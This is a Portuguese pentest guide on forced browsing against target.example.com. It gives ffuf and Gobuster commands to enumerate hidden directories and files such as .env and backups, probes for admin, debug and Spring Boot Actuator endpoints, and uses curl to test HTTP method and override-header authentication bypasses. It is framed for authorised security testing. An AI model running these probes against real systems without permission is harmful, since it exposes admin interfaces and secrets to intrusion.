Contornando Autenticação com Navegação Forçada

Quando Usar

• Durante testes de penetração autorizados para descobrir páginas administrativas ocultas ou desprotegidas
• Ao testar se a autenticação é consistentemente aplicada em todos os endpoints da aplicação
• Para identificar arquivos de backup, arquivos de configuração e interfaces de depuração deixados expostos em produção
• Ao avaliar o controle de acesso em endpoints de API que deveriam exigir autenticação
• Durante auditorias de segurança para validar que todos os recursos sensíveis aplicam validação de sessão

Pré-requisitos

• Autorização: Acordo de teste de penetração por escrito cobrindo a enumeração de diretórios
• ffuf: Fuzzer web rápido (go install github.com/ffuf/ffuf/v2@latest)
• Gobuster: Ferramenta de brute-force de diretórios (apt install gobuster)
• Burp Suite: Para interceptar e analisar requisições e respostas
• Wordlists: Coleção SecLists (git clone https://github.com/danielmiessler/SecLists.git)
• Acesso ao alvo: Conectividade de rede e credenciais de teste válidas para comparação autenticada

Fluxo de Trabalho

Passo 1: Enumerar Diretórios e Arquivos Ocultos

Use ffuf ou Gobuster para descobrir caminhos que não estão vinculados na navegação da aplicação.

# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-dirs.json -of json \
  -t 50 -rate 100

# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-files.json -of json \
  -t 50 -rate 100

# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -s "200,204,301,302,307,403" \
  -x php,asp,aspx,jsp,html \
  -o gobuster-results.txt \
  -t 50

Passo 2: Descobrir Interfaces Administrativas e de Depuração

Mire em caminhos administrativos comuns e endpoints de depuração.

# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302 \
  -t 50 -rate 100

# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status

# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -fc 404 \
  -o api-results.json -of json

# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
  curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
    "https://target.example.com/actuator/$endpoint"
done

Passo 3: Testar a Aplicação da Autenticação em Endpoints Descobertos

Compare as respostas entre requisições não autenticadas e autenticadas.

# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "https://target.example.com/admin/dashboard"

# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=valid_session_token_here" \
  "https://target.example.com/admin/dashboard"

# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c

# Authenticated request
curl -s -b "session=valid_token" \
  "https://target.example.com/admin/users" | wc -c

# If both return similar content, authentication is not enforced

# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses

Passo 4: Testar Bypass de Autenticação Baseado em Método HTTP

Algumas aplicações aplicam autenticação apenas para métodos HTTP específicos.

# Testar diferentes métodos HTTP em endpoints protegidos
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" "https://target.example.com/admin/settings"
done

# Testar cabeçalhos de sobrescrita de método HTTP
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "X-HTTP-Method-Override: GET" \
  "https://target.example.com/admin/settings"

curl -s -o /dev/null -w "%{http_code}" \
  -H "X-Original-Method: GET" \

…